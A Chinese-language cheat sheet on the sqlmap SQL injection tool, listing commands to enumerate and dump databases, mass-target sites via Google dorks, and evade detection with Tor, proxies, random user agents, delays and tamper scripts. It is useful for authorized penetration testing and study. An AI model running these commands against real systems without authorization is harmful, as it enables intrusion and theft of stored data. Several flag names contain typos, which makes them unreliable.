Sqlmap简单使用
Sqlmap的简单使用
安装
1.kali 集成
2.官网下载
http://sqlmap.org/
--update 更新
注入模式
0 只显示python错误以及严重问题
1 显示以上信息同时显示基本信息和警告信息
2 显示以上信息同时显示debug
3 显示以上信息同时显示注入的payload
4 显示以上信息同时显示HTTP请求
5 显示以上信息同时显示HTTP响应头
6 显示以上信息同时显示HTTP响应界面
常用参数
-u --url 指定URL
--dbms=mysql 指定数据库
--os=windows 指定操作系统
--flush-session 刷新缓存
--proxy 指定代理 sqlmap -u http://xxxxx --proxy http://xxxxxx:port
--user-agent 指定user-agent sqlmap -u http://xxxxx --user-agent="Mozilla/5.0........."
--data 数据以POST方式提交
注入过程
sqlmap -u http://xxxxx ?id=1 --dbs 查数据库
sqlmap -u http://xxxxx ?id=1 --current-db 当前数据库
sqlmap -u http://xxxxx ?id=1 -D 'security' --tables 查出表
sqlmap -u http://xxxxx ?id=1 -D 'security -T 'tables' --colums 查出列
sqlmap -u http://xxxxx ?id=1 -D 'security -T 'tables' -C 'coluum1' --dump 列出数据
直连数据库
服务型数据库(前提知道数据库用户名和密码):
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(Mysql,Oracle,SQL Server,Postgre SQL,...)
python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdbn" -f --banner --dbs --users
文件型数据库(前提知道数据库绝对路径)
DBMS://DATABASE_FILEPATH(SQLite,Access,Firebird,....)
设置安全模式
避免多次请求失败后销毁会话,执行一定数量的失败请求后(盲注时),服务器可能销毁会话
--safe-url
--safe-post
--safe-req
--safe-freq
URL探测
python sqlmap.py -u URL
python sqlmap.py --url URL
文件读取目标
sqlmap支持从不同类型的文件中读取目标进行sql注入探测
-l 从burp proxy或者webscarab proxy中读取HTTP请求文件
-x 从sitemap.xml站点地图文件中读取目标进行探测
-m 从多行文本格式文件读取多个目标,进行探测
-r 从文本文件中读取HTTP请求作为SQL注入探测目标
-c 从配置文件sqlmap.conf读取目标进行探测
获取bp文件
谷歌批量注入
配合谷歌语法(需要解决谷歌访问问题)
python sqlmap.py -g "inurl:\".php?id=1\""
设置HTTP方法
--method=PUT
设置POST提交参数
默认情况下,用于执行HTTP请求的HTTP方法是GET,可以提供发送的数据将其隐式的修改为POST
python sqlmap.py -u "http://xxx.xxx.xxx.php" --data="id=1" -f --banner --dbs --users
--data="id=1"
-f 指纹
设置参数分隔符
在某些情况下,需要覆盖默认参数分隔符( 如& ),来正确处理每个参数
python sqlmap.py -u"http://xxx.xxx.xxx.xxx.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
--param-del=";"
--param-del="&"
...
设置cookie头
1.web有基于cookie的验证
2.想利用cookie值上的SQL注入漏洞
--cookie
--cookie-del
--load-cookies
--drop-set-cookie
如果web使用set-cookie表头进行相应,sqlmap将在所有进一步的HTTP请求中自动使用其值作为cookie标头,sqlamp会自动测试这些值,可以用--drop-set-cookie--sqlmap
忽略任何到来的set-cookie头
对cookie检测,需要--level 2 以上
设置user-agent头
sqlmap有默认的头: sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)
伪造头
--user-agent 指定user-agent sqlmap -u http://xxxxx --user-agent="Mozilla/5.0........."
--random-agent 使用随机的头
设置host主机头
--level 5 将对主机头进行探测
设置referer头
--level 3以上探测
设置额外HTTP头
--header 每个标头必须用换行符分割,从配置文件中获得 sqlmap.conf
python sqlmap.py -u http://xxxxxxx?id=1 --headers="Host:www.target.com\nUser-agent:Firefox" -v 5
设置HTTP协议认证
如basic认证:
--auth-type 用于定义HTTP协议认证的方式 支持Basic Digest NTLM
--auth-cred
--auth-cred 语法:username:password
python sqlmap.py -u http://xxxxxxx?id=1 --auth-type Basic --auth-cred "testname:password"
设置HTTP代理
代理IP可以百度搜索
--proxy
--proxy-cred 输入用户名,密码
--proxy-file 多行文本,多个代理
--ignore-proxy 忽略系统代理,使用设置的代理
--proxy 指定代理 sqlmap -u http://xxxxx --proxy http://xxxxxx:port
--proxy-cred username:password
设置Tor隐藏网络
---tor
--tor-port
--tor-type
--check-tor
设置延迟
避免发包过快导致目标预警
--delay 0.5 设置延迟 0.5 秒
设置超时
考虑超时HTTP请求前,指定等待的秒数,默认30秒
--timeout 0.15
设置重试次数
--retries 4 设置重连次数,默认3次
设置随机化参数
每次都随即更改参数值,长度与类型与初始值保持一致
-- randomize 参数名
标题设置日志过滤目标
正则表达式
python sqlmap.py -l burp.log.txt --scopr="(www)?\.target\.(com|net|org)"
设置忽略401未授权
忽略未验证错误
--ignore 401
设置HTTP协议私钥
当web服务器需要适当的客户端证书和用于身份验证的私钥时,使用此选项,提供的值是一个PEM格式的key_file,包含证书和私钥
--auth-file
设置忽略URL编码
根据参数的位置如GET,默认情况下是URL编码,某些情况下,后端WEB服务器不遵循RFC标准,需要以原始的非编码形式发送
--skip-urlencode 不进行URL加密
Sqlmap设置持久HTTP连接
HTTP报文Connection:keep-alive
--keep-alive
设置不接受HTTP Body
设置空连接,常用于盲注
--null-connection 检索没有body响应的内容
设置多线程
默认1个线程,最大10个线程
--thread 10
设置预测输出
在推理算法中用于检索值字符的顺序统计预测
与 --thread 不兼容
--predict-output
指定注入参数
-p 指定具体探测的参数 -p "id"
--skip 忽略探测的参数 --skip "user-agent,referer"
--param-exclude 忽略包含具体内容的参数 --param-exclude="token|session" 不对包含session或token的参数进行探测
--skip-static 忽略非动态参数
设置URI注入位置
当注入点位于URI本身内部时,会出现一些特=特殊情况,除非手动指向URI路径,否则sqlmap不会对URI执行测试,必须在命令行中添加*
来指定注入点
如当使用apache web 服务器的mod_rewrite模块或者其他技术
sqlmap.py -u "http://xxxx?id=1*&pass=1"
设置任意注入位置
与URI类似
*
设置DBMS
默认可以自动识别DBMS
--dbms 数据库管理系统 [版本]
--dbms mysql 5.0
设置OS
默认可以自动识别OS
--os windows
--os linux
关闭负载转换机制
--no-cast
关闭字符转义机制
--no-escape
强制设置无效值替换
使原始参数值无效
1.使用大整数 ,id=999999999999999999
--invalid-bignum
2.强制使用布尔操作 , id=1 and 18=19
--invalid-logical
3.强制使用随机字符串 , id=savgsadgv
--invalid-string
自定义负载位置
在某些情况下,只有当用户提供要附加到注入负载的特定后缀时,易受攻击参数才会被利用,当用户知道查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入时,这些选项可以使用
--prefix 设置payload前缀
--suffix 设置payload后缀
设置Tamper脚本
--tamper ”脚本名称1,名称2“
设置DBMS认证
--dbms-cred=username:password
设置探测等级
1 2 3 4 5
--level 5
设置风险参数
指定测试风险的参数,有3 个等级,默认为一,对大多数注入无害,2增加了大量基于查询时间的SQL注入测试的默认级别,值3增加了基于or的注入测试
or有可能导致表的条目的更新,引入一个选项:用户控制有效载荷,用户可以使用潜在危险的负载
--risk 3
设置页面比较参数
默认情况下,通过比较注入的请求页面和原始页面,区分真假查询
--string 指定包含字符串,查询为True
--nor-string 指定包含字符串,查询为False
--regexp 指定通过正则表达式匹配字符串,查询为True
--code 指定匹配的HTTP状态响应码 ,查询为True